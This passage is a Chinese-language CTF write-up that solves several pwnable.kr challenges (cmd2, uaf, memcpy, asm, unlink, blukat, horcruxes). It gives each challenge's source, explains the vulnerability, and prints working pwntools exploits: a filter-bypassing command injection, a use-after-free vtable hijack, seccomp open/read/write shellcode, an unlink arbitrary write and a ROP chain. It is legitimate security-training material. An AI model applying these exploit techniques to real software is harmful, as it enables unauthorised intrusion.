putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system(argv[1] );
return 0;
}

题目增加了更多的限制,并且删除了所有环节变量。最大的限制就是不能出现路径分隔符,因此无法用绝对路径来使用 cat,但是可以用 shell 变量来造一个路径分隔符,例如 echo $(pwd),如果此时位于根目录的时候,$(pwd) 就会返回/,所以可以利用这个 payload 构造一个路径分隔符。

最后在 bash 里输入如下 payload,需要注意的是 $(pwd) 需要被传到 system 里,因此在 bash 里需要加上转义,否则在执行 cmd2 之前 $(pwd) 就会被 bash 解析为/

1
2
cd /
~/cmd2 "\$(pwd)bin\$(pwd)cat \$(pwd)home\$(pwd)cmd2\$(pwd)fla*"

uaf (8 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}

protected:
int age;
string name;

public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}

virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}

virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

是一个很简单的 uaf,但是因为是 c++ 所以比较麻烦,不过利用起来还是挺简单的。Human 类直接给了一个虚函数,里面就是一个 shell,那么直接跳到这个虚表就可以了,通过 gdb 或者 ida 都可以查到这个虚函数在虚表中的位置为0x401570。

在 main 的主循环中一共有 3 个功能,use,after 和 free,use 则调用 Man 类和 Woman 类的 intriduce 函数,这个函数刚好就在 get_shell+8 的位置,如下所示。

free 则是将最开始 new 的 Man 和 Woman 都 free 掉,而 after 则是从一个文件中读取一定数量的字符写入,文件名和读取的数量由 argv 决定,这里并没有溢出,为了测试方便,我们先假设 argv[2]为 /dev/stdin,直接从标准输入读取,后面再探讨 argv[1] 的大小应该为多少合适。main 函数中首先 new 了个 Man 和 Woman,这时候我们看一下堆里面是什么样子。

可以看到 Man 和 Woman 一共 malloc 出了 4 个 chunk,每个类各两个,一个 0x30 大小的和一个 0x20 大小的 chunk,之所以每个类都 malloc 出两个大小,是因为 Human 中的 name 为 string 类型,在创建 string 类型之前需要 malloc 一个 chunk 出来保存字符串,所以那个 0x30 大小的 chunk 保存的是 name 中的字符串,也就是 string 类,而 0x20 大小的 chunk 中保存了 age 以及类的虚表指针,其中的 0x401570 以及 0x401550 就是这两个类对应的虚表。

题目名称是 uaf,那我们先 free 掉这 4 个 chunk 看看堆里是什么样子。

可以看到这 4 个 chunk 都进了 tcache,并且虚表指针也被破坏了,但是题目重点就在于 uaf,因此在 free 以后,m 和 w 变量依旧指向的是堆上那两个 chunk,在调用 introduce 的时候还是会根据 chunk 中的虚表指针跳转,那么如果我们可以想办法修改那两个 0x20 的 chunk 中的虚表指针,我们再次 use,调用 introduce 的时候就可以控制跳转的地址了。

现在我们的目标 chunk 也就是 0x20 大小的 chunk 位于 tcache 中,处于 free 状态,而通过 after 功能我们可以 malloc 一个自定大小的 chunk,那么我们如果刚好可以从 tcache 中 malloc 出来那个 0x20 的目标 chunk,那么我们就可以控制 chunk 的内容,也就是虚表指针的地址,修改这个地址为 get_shell-8 的地址,那么调用 introduce 的时候在加 8,刚好就可以跳转到 get_shell 的地址。最终的 exp 如下,需要在 tmp 中新建一个目录写入 exp,然后执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *
from sys import argv
HOST = 'pwnable.kr'
PORT = 9007

context.update(terminal=['tmux', 'splitw', '-h'])
# context.update(log_level='debug')

libc = None
# libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so')

elf = ELF("/home/uaf/uaf")
# pg = cyclic_gen()

if len(argv) > 1:
conn = remote(HOST, PORT)
else:
env = {
'LD_PRELOAD': libc.path if libc else ''
}
conn = process(env=env, argv=[elf.path, str(0x10), '/dev/stdin'])
def use():
conn.sendlineafter('1. use\n2. after\n3. free\n', '1')
def after(data):
conn.sendlineafter('1. use\n2. after\n3. free\n', '2')
conn.send(data)
print(conn.recvline())
def free():
conn.sendlineafter('1. use\n2. after\n3. free\n', '3')
free()
after('a'*0x10)
after(p64(0x401570-8) + 'a'*(0x10>>1))
use()

conn.interactive()

memcpy (10 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}

// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}

int main(void){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");

printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");

printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");

unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size_t sizes[10];
int i=0;

// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if(size < low || size > high){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}

sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);

// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc(size);

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}

printf("thanks for helping my experiment!\n");
printf("flag : ----- erased in this source code -----\n");
return 0;
}

源码实现了两种不同的 memcpy,要求我们帮忙测试一下,需要我们输入 10 个 size,这 10 个 size 的范围如下。

1
2
3
4
5
6
7
8
9
10
8 16
16 32
32 64
64 128
128 256
256 512
512 1024
1024 2048
2048 4096
4096 8192

10 个 size,一共进行 10 次测试,每次测试分别使用 slow_memcpy 和 fast_memcpy 拷贝 size 大小的内存到 malloc 出来的一块 size 大小的 dest 里,只要我们能把这 10 次测试都做完,就能拿到 flag,理论上 size 越小,测试越快,那我们先试一试用范围内最小的 size,8 16 32 64 128 256 512 1024 2048 4096,但是只能进行 4 次半测试就退出了,表示程序执行第 5 次测试的 fast_memcpy 的时候出现了问题。

slow_memcpy 非常简单,直接用数组一个元素一个元素的赋值,而 fast_memcpy 则是在汇编层面上用 movdqa 和 movntps 以 64 字节为一块的单位拷贝,先看一下 movdqa 和 movntps 这两个指令都是在干什么。

movdqa:

Moves 128, 256 or 512 bits of packed doubleword/quadword integer values from the source operand (the second operand) to the destination operand (the first operand). This instruction can be used to load a vector register from an int32/int64 memory location, to store the contents of a vector register into an int32/int64 memory location, or to move data between two ZMM registers. When the source or destination operand is a memory operand, the operand must be aligned on a 16 (EVEX.128)/32(EVEX.256)/64(EVEX.512)-byte boundary or a general-protection exception (#GP) will be generated. To move integer data to and from unaligned memory locations, use the VMOVDQU instruction.

movntps:

Moves the packed single-precision floating-point values in the source operand (second operand) to the destination operand (first operand) using a non-temporal hint to prevent caching of the data during the write to memory. The source operand is an XMM register, YMM register or ZMM register, which is assumed to contain packed single-precision, floating-pointing. The destination operand is a 128-bit, 256-bit or 512-bit memory location. The memory operand must be aligned on a 16-byte (128-bit version), 32-byte (VEX.256 encoded version) or 64-byte (EVEX.512 encoded version) boundary otherwise a general-protection exception (#GP) will be generated.

movdqa 可以从 src 移动 16 字节,32 字节或 64 字节的打包的双字或四字整数到 dst,当 src 是一个来自内存中的数据时,该数据必须以 16 字节,32 字节或 64 字节对齐。movntps 可以从 src 移动打包的单精度浮点数到 dst,当 src 或 dst 是一个内存中的数据时,需要以 16 字节,32 字节或 64 字节对齐。在 fast_memcpy 中,若要拷贝的大小超过 64 字节时,使用 movdqa 将一个 64 字节来自内存的块数据分别移动 16 字节到 4 个寄存器中,然后使用 movntps 从这 4 个寄存器中每次移动 16 字节到目标内存中,因此,src 和 dst 在内存中必须以 16 字节对齐。

源码里直接给了编译命令 gcc -o memcpy memcpy.c -m32 -lm,本地手动编译,输入刚才的数据执行,发现没有任何问题。最后实在无奈看了网上别人的 writeup,这个程序的主要问题在于内存对齐,movdqa 和 movntps 都要求内存数据 16 字节对齐,而在编译命令中指明这是 32 位的程序,默认 8 字节对齐,因此在使用 fast_memcpy 的时候,malloc 出来的 chunk 的 内存位置(注意不是 chunk 的 size)并不是 16 字节对齐,所以我们就需要从 size 为 64 字节开始,手动加上 8 调整内存中的 chunk 为 16 字节对齐,最后的 size 为8 16 32 72 136 264 520 1032 2056 4096。至于为什么本地编译 32 位程序执行没有出错,目前尚不清楚。

asm (6 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

又是一个 orw 沙箱,只能用 open,read 和 write 系统写一段 shellcode 读 flag,但是 flag 文件名特别长this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong,而且还会强制在 shellcode 之前加入一段 stub 清空 rip 和 rsp 以外的所有寄存器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x41414000:    xor    rax,rax
0x41414003: xor rbx,rbx
0x41414006: xor rcx,rcx
0x41414009: xor rdx,rdx
0x4141400c: xor rsi,rsi
0x4141400f: xor rdi,rdi
0x41414012: xor rbp,rbp
0x41414015: xor r8,r8
0x41414018: xor r9,r9
0x4141401b: xor r10,r10
0x4141401e: xor r11,r11
0x41414021: xor r12,r12
0x41414024: xor r13,r13
0x41414027: xor r14,r14
0x4141402a: xor r15,r15

首先 esp 没被清空,所以我们可以用栈保存 flag 的文件名,然后用 open 系统调用拿到文件的 fd,之后用 read 通过 fd 读取 flag 到栈上,最后用 write 系统调用把栈上的 flag 打印出来,最终的 exp 如下。最开始的 push rax 是为了截断栈上的 flag 文件名,之后利用 rax 和 push 将 flag 文件名放到栈里,需要注意的是在 mov 立即数的时候,若立即数长度小于 64 位,应该 mov 到对应长度的寄存器里,否则会出现坏字符,例如mov rax,0x1,这样 shellcode 就会出现\x00,应该使用mov al,0x1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *
from sys import argv
HOST = 'pwnable.kr'
PORT = 9026

context.clear(arch='amd64')
context.update(terminal=['tmux', 'splitw', '-h'])
# context.update(log_level='debug')

libc = None
# libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so')

elf = ELF("./asm")
pg = cyclic_gen()

if len(argv) > 1:
conn = remote(HOST, PORT)
else:
env = {
'LD_PRELOAD': libc.path if libc else ''
}
conn = process(elf.path, env=env)
# int open(const char * pathname, int flags, mode_t mode);
# #define O_RDONLY 00000000
# fd = open("/hom e/or w/// flag", O_RDONLY)

# ssize_t read(int fd, void * buf, size_t count);
# read(fd, buf, 20)

# ssize_t write (int fd, const void * buf, size_t count);
# write(1, buf, 20)
flag = './///////this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'[::-1]

LEN = 8

assert len(flag) % LEN == 0

flags = [f.encode('hex') for f in (flag[i:i+LEN] for i in range(0, len(flag), LEN))]

shellcode = asm("""
push rax;
%s;
mov rdi,rsp;
xor rax,rax;
mov al,0x2;
syscall;
xor rdi,rdi;
mov dil,al;
mov rsi,rsp;
xor rdx,rdx;
xor rax,rax;
mov al,0x50;
mov rdx,rax;
xor rax,rax;
syscall;
mov dil,0x1;
mov rsi,rsp;
mov rdx,rax;
mov al,0x1;
syscall;
""" % (';\n'.join((('mov rax,0x%s;\npush rax' % f) for f in flags))))
assert '\x00' not in shellcode
assert len(shellcode) <= 1000

# pause()
conn.sendafter('give me your x64 shellcode: ', shellcode)
log.success('Get flag: ' + conn.recvline())

conn.interactive()

unlink (10 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

最简单的一个 unlink 漏洞,该给的都给了,甚至连栈上和堆上的地址都给了,和 malloc 的 unlink 相比也没有任何的安全检查。unlink 的最基本原理就是:

1
2
3
4
fd = p->fd;
bk = p->bk;
fd->bk = bk;
bk->fd = fd;

如果我们可以控制 p 的 fd 和 bk,就可以实现任意地址写,其中 fd 为某个地址,bk 为我们要写入的值,如下所示,其中 a 和 b 需要可写。

1
2
3
4
5
6
7
8
p->fd = a;
p->bk = b;

fd = p->fd = a;
bk = p->bk = b;

fd->bk = *(fd + 4) = *(a + 4) = bk = b;
bk->fd = *(bk + 0) = *b = fd = a;

题目最开始 malloc 了 1024 的 chunk,然后 malloc 了 3 个 OBJ:A,B 和 C,组成了一个双向链表,A 的 buf 有一个堆溢出,最后 unlink B 触发 unlink 漏洞。由于 B 在 A 的后面 malloc,所以 B 在 A 的物理高地址相邻,通过 A 可以修改 B 的 fd 和 bk。我们的最终目的是在 main 函数结束 ret 的时候跳转到 shell 的地址,那么就需要控制栈顶 esp 的值,而在 main 的最后有一个 ecx,如下所示。

1
2
3
4
5
6
7
0x080485f2 <+195>:    call   0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret

首先把 ebp-4 的值放到 ecx 里,然后用 leave 缩减栈,最后在 ret 前有一个 lea 可以把 ecx-4 的值写入 esp,那么如果我们可以控制 ebp-4 的值,那么就可以控制 ecx,最后就可以控制 esp 了,ebp 是固定的,通过提供的栈地址很容易可以算出 ebp-4 的位置位于提供的栈地址 +16 处。我们可以将 shell 地址写到堆上,然后通过 unlink 写入到 ebp-4,最后通过 lea 将 shell 地址写入 esp,ret 的时候就可以控制 eip 跳转到 shell 地址了,通过查看堆上内容,可以算出我们写入的 shell 偏移为提供的堆地址 +8 处(+8 是因为要跳过 A 的 fd 和 bk),最后由于 ecx 在 lea 前还减了 4,我们要再补上 4。还有需要注意的是 malloc 出的 chunk 的里的 buf 大小为 8 字节,除去我们输入的 4 字节的 shell 地址,还有 4 字节的 junk 需要填充,之后还需要填充 B 的 chunk 的 prev_size 和 size 一共 8 个字节,然后就可以覆盖 B 的 fd 和 bk。最终的 exp 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *
from sys import argv
HOST = 'pwnable.kr'
PORT = 9026

# context.clear(arch='amd64')
context.update(terminal=['tmux', 'splitw', '-h'])
# context.update(log_level='debug')

libc = None
# libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so')

elf = ELF("/home/unlink/unlink")
# pg = cyclic_gen()

if len(argv) > 1:
conn = remote(HOST, PORT)
else:
env = {
'LD_PRELOAD': libc.path if libc else ''
}
conn = process(elf.path, env=env)
shell_addr = 0x080484eb

conn.recvuntil('here is stack address leak: ')
stack_addr = int(conn.recv(10), 16)
log.info('Get stack address: %s' % hex(stack_addr))

conn.recvuntil('here is heap address leak: ')
heap_addr = int(conn.recv(10), 16)
log.info('Get heap address: %s' % hex(heap_addr))

fd = heap_addr + 8 + 4
bk = stack_addr + 16

# pause()
conn.sendlineafter('now that you have leaks, get shell!\n', p32(shell_addr) + 'a' * (8 - 4 + 4 + 4) + p32(fd) + p32(bk))

conn.interactive()

blukat (3 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
int i;
for(i=0; i<strlen(s); i++){
flag[i] = s[i] ^ key[i];
}
printf("%s\n", flag);
}
int main(){
FILE* fp = fopen("/home/blukat/password", "r");
fgets(password, 100, fp);
char buf[100];
printf("guess the password!\n");
fgets(buf, 128, stdin);
if(!strcmp(password, buf)){
printf("congrats! here is your flag: ");
calc_flag(password);
}
else{
printf("wrong guess!\n");
exit(0);
}
return 0;
}

这是一道很迷惑的题,乍一看 buf 处可以溢出 28 个字节,但是这个题和溢出没有任何关系。最后的目的是我们需要输入一个 password,相等的话就给 flag,不然就 exit,和溢出相关的就只有 fgets 以后到 strcmp 之前这段,这之后的代码我们完全不可控制,首先我们不可能知道 password,所以不会进 calc_flag 的分支,但是进另一个分支就直接 exit 了,连 main 的 return 都没执行,所以这个题和溢出没有任何关系。

所以我们就得想办法拿到 password,想办法从程序里弄已经是不可能了,就只能考虑其他办法,直接 cat,返回 cat: password: Permission denied,但是我们再 head 一下,发现还是返回的cat: password: Permission denied,所以,这句话就是 password 的内容,并且我们是可读的,看一下 password 的权限,是-rw-r-----,并且属于 blukat_pwn 组,而正好我们也是 blukat_pwn,所以 password 本身就是可读的,问题就简单很多了,直接cat password | ./blukat 即可。

其实仔细想想,这题才 3 分,前一个 unlink 都 10 分,所以这题肯定不会太复杂。

horcruxes (7 pt)

这次没有给源码了,直接给了二进制程序,IDA 分析一下,上来就看见个 seccomp,所以还是个沙箱题。题目给了个 hint,说伏地魔把分裂的灵魂藏在了 7 个魂器里,正好题目里有 ABCDEFG 一共 7 个函数,先看一下最开始的 init_ABCDEFG。首先从 urandom 里读了 4 个字节到 buf 里,然后用 buf[0]作为随机数的种子,之后 random 出来 7 个数,求和放入 sum 里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned int init_ABCDEFG()
{
int v0; // eax
unsigned int result; // eax
char buf[4]; // [esp+8h] [ebp-10h]
int fd; // [esp+Ch] [ebp-Ch]

fd = open("/dev/urandom", 0);
if (read(fd, buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(*buf);
a = 0xDEADBEEF * rand() % 0xCAFEBABE;
b = 0xDEADBEEF * rand() % 0xCAFEBABE;
c = 0xDEADBEEF * rand() % 0xCAFEBABE;
d = 0xDEADBEEF * rand() % 0xCAFEBABE;
e = 0xDEADBEEF * rand() % 0xCAFEBABE;
f = 0xDEADBEEF * rand() % 0xCAFEBABE;
v0 = rand();
g = 0xDEADBEEF * v0 % 0xCAFEBABE;
result = f + e + d + c + b + a + 0xDEADBEEF * v0 % 0xCAFEBABE;
sum = result;
return result;
}

主函数在 rop_me 里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int ropme()
{
char s[100]; // [esp+4h] [ebp-74h]
int v2; // [esp+68h] [ebp-10h]
int fd; // [esp+6Ch] [ebp-Ch]

printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if (v2 == a)
{
A();
}
else if (v2 == b)
{
B();
}
else if (v2 == c)
{
C();
}
else if (v2 == d)
{
D();
}
else if (v2 == e)
{
E();
}
else if (v2 == f)
{
F();
}
else if (v2 == g)
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gets(s);
if (atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}

这里的 a 到 f 就是刚才的随机数,很明显我们不会知道那些随机数是什么,所以就进入了最后一个分支,这里有一个 gets,很明显的一个栈溢出,并且如果我们输入的字符串刚好就是 sum 的话就给我们 flag,所以这个题我们不一定需要 getshell,目的就是想办法泄漏出 sum。

没有开启 canary,所以这个栈溢出可以让我们任意地址跳转,首先我们肯定想直接调转到 open 那里,但是这里用的是 gets 获取的字符串,而 open flag 那里的地址为 0x080A010E,其中包含了 0x0a,而 gets 读取的时候遇到 0x0a 的时候就会停下,所以我们只能跳转到不包含 0x0a 的地址。再往前看,发现 A,B,C 那几个函数刚好在 0x0a 地址的前面,例如 A 的地址为0x0809FE4B,而调用 A 的时候刚好可以泄漏出 a 的值,这样从 A 到 G 依次调用一遍,我们就可以知道 a 到 g 的值,然后就能计算出 sum,最后再跳转到 ropme 执行一遍验证输入 sum 就可以拿到 flag,刚好 main 函数里 call ropme 的地址为0x0809FFFC,也不包含 0x0a,所以就可以形成一个 rop 链。

最终的 exp 如下。需要注意的是只有当 sum 是个负数的时候才能成功,具体原因还不清楚,debug 的时候发现若 sum 是个正数,atoi 的时候会失败,只有负数才会成功,所以需要多尝试几次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *
from re import compile as re_compile
from sys import argv
HOST = 'pwnable.kr'
PORT = 9032

# context.clear(arch='amd64')
context.update(terminal=['tmux', 'splitw', '-h'])
context.update(log_level='debug')

libc = None
# libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so')

elf = ELF("./horcruxes")
pg = cyclic_gen()

if len(argv) > 1:
conn = remote(HOST, PORT)
else:
env = {
'LD_PRELOAD': libc.path if libc else ''
}
conn = process(elf.path, env=env)

A = 0x0809FE4B
B = 0x0809FE6A
C = 0x0809FE89
D = 0x0809FEA8
E = 0x0809FEC7
F = 0x0809FEE6
G = 0x0809FF05
ropme = 0x0809FFFC
conn.sendlineafter('Select Menu:', '1')
conn.sendlineafter('How many EXP did you earned? : ', pg.get(116) + p32(4) + p32(A) + p32(B) + p32(C) + p32(D) + p32(E) + p32(F) + p32(G) + p32(ropme))
conn.recvline()

findall = re_compile(r'\(EXP \+(-?\d+)\)').findall

a = int(findall(conn.recvline())[0])
log.info('Get a: %d' % a)
b = int(findall(conn.recvline())[0])
log.info('Get b: %d' % b)
c = int(findall(conn.recvline())[0])
log.info('Get c: %d' % c)
d = int(findall(conn.recvline())[0])
log.info('Get d: %d' % d)
e = int(findall(conn.recvline())[0])
log.info('Get e: %d' % e)
f = int(findall(conn.recvline())[0])
log.info('Get f: %d' % f)
g = int(findall(conn.recvline())[0])
log.info('Get g: %d' % g)

s = str(a+b+c+d+e+f+g)
log.info('Sum: ' + s)
conn.sendlineafter('Select Menu:', '1')
conn.sendlineafter('How many EXP did you earned? : ', s)
log.success('Got flag: ' + conn.recvline())

# conn.interactive()